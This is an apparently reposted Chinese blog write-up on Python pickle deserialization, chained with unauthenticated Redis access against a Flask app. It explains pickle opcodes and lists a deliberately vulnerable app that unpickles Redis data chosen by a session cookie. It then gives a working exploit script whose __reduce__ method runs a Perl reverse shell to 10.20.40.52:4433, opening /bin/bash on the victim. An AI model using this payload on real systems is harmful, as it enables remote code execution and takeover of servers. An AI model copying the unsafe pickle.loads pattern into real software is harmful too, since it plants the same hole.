淺談python反序列化漏洞


最近看到p神一篇講python反序列化的文章,結合redis未授權訪問組合漏洞,感覺在flask和redis的構架中比較常見,便記錄下來。

p神原文:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

 

漏洞原理:

python序列化會通過pickle的dumps和loads來進行序列化和反序列化

 

 

 其中序列化后的值為

對應的格式如下:

c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,然后將module.object壓入到堆棧中。
(:將一個標記對象插入到堆棧中。為了實現我們的目的,該指令會與t搭配使用,以產生一個元組。
t:從堆棧中彈出對象,直到一個“(”被彈出,並創建一個包含彈出對象(除了“(”)的元組對象,並且這些對象的順序必須跟它們壓入堆棧時的順序一致。然后,該元組被壓入到堆棧中。
S:讀取引號中的字符串直到換行符處,然后將它壓入堆棧。
R:將一個元組和一個可調用對象彈出堆棧,然后以該元組作為參數調用該可調用的對象,最后將結果壓入到堆棧中。
.:結束pickle。

 

漏洞復現:

前提搭建一個web服務器,需要一個flask+redis的web服務。

代碼如下

 1 import redis
 2 from flask import Flask,request,session
 3 import pickle
 4 import random
 5 app = Flask(__name__)
 6 
 7 class Redis:
 8     @staticmethod
 9     def connect():
10         r = redis.StrictRedis(host='localhost', port=6379, db=0)
11         return r
12 
13     @staticmethod
14     def set_data(r,key,data,ex=None):
15         r.set(key,pickle.dumps(data),ex)
16 
17     @staticmethod
18     def get_data(r,key):
19         data = r.get(key)
20         if data is None:
21             return None
22         return pickle.loads(data)
23 
24 def getrand():
25     str='abcdefghijklnmopqrstuvwxyz1234567890'
26     count = ''
27     for i in range(10):
28             index = random.randint(0,35)
29             count += str[index]
30     return count
31 
32 
33 @app.route('/',methods=['GET'])
34 def hello_world():
35     str = request.args.get('str')
36     r = Redis.connect()
37     rand = getrand()
38     Redis.set_data(r,rand,str)
39     return rand+':'+str
40 
41 @app.route('/getcookie')
42 def get_cookie():
43     cookie = request.cookies.get('session')
44     r = Redis.connect()
45     data = Redis.get_data(r,cookie)
46     return 'your data:'+data
47 
48 if __name__ == '__main__':
49     app.run()
index.py

程序大概過程是訪問 / 目錄會往redis中插入一條str變量,key值是偽隨機生成的

然后訪問/getcookie會訪問cookie中的session的值帶入redis查詢並反序列化

 

 

 

 

 

 可以構造payload如下

 1 #!/usr/bin/env python
 2 #
 3 import cPickle
 4 import os
 5 import redis
 6 
 7 class exp(object):
 8     def __reduce__(self):
 9         s = """perl -e 'use Socket;$i="10.20.40.52";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
10         return (os.system, (s,))
11 
12 e = exp()
13 s = cPickle.dumps(e)
14 
15 r = redis.Redis(host='127.0.0.1', port=6379, db=0)
16 r.set("e6c36e69a9c", s)

 

payload會往redis中插入一條e6c36e69a9c的key值

 

 然后在/getcookie中設置cookie訪問,並監聽服務器上的4433端口

 

 get!!!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM